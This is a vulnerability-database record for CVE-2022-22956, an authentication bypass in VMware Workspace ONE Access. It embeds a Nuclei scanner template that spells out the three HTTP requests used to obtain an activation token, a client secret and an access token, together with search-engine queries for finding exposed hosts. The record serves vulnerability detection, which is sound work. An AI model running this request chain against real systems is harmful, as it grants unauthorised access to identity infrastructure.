{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-22956/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-22956/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-22956/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-22956/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-22956/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-22956"},"sightings":{"href":"/api/v1/sightings/cve-2022-22956"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-22956.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-22956\n\ninfo:\n  name: VMware Workspace ONE Access - Authentication Bypass\n  author: daffainfo\n  severity: critical\n  description: |\n    VMware Workspace ONE Access has two authentication bypass vulnerabilities (CVE-2022-22955 & CVE-2022-22956) in the OAuth2 ACS framework. A malicious actor may bypass the authentication mechanism and execute any operation due to exposed endpoints in the authentication framework.\n  impact: |\n    Attackers can bypass authentication and perform unauthorized operations, potentially leading to full system compromise.\n  remediation: |\n    Apply the latest security patches provided by VMware to address these vulnerabilities.\n  reference:\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb\n    - https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-22956\n    - http://packetstormsecurity.com/files/171918/Mware-Workspace-ONE-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-22956\n    cwe-id: CWE-287\n    epss-score: 0.49814\n    epss-percentile: 0.98859\n    cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: vmware\n    product: identity_manager\n    shodan-query: http.favicon.hash:\"-1250474341\"\n    fofa-query: icon_hash=-1250474341\n  tags: cve,cve2022,vmware,workspace,auth-bypass,vkev,vuln\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Content-Length: 0\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"activationToken\", \"_links\")'\n          - 'contains(header, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: activation_token\n        json:\n          - '.activationToken'\n        internal: true\n\n  - raw:\n      - |\n        POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        {{activation_token}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"client_id\", \"client_secret\")'\n          - 'contains(header, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: client_id\n        json:\n          - '.client_id'\n        internal: true\n\n      - type: json\n        name: client_secret\n        json:\n          - '.client_secret'\n        internal: true\n\n  - raw:\n      - |\n        POST /SAAS/auth/oauthtoken HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        grant_type=client_credentials&client_id={{client_id}}&client_secret={{client_secret}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"access_token\", \"token_type\")'\n          - 'contains(header, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502200f982e33b56921505f9585d52ce8e2309bcadc40fa9824d97035a5d9e444fa05022100943567d4235e58f9b12516c414527b7dc5d00423dd5cf8d4be737311524660fc:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-22956"}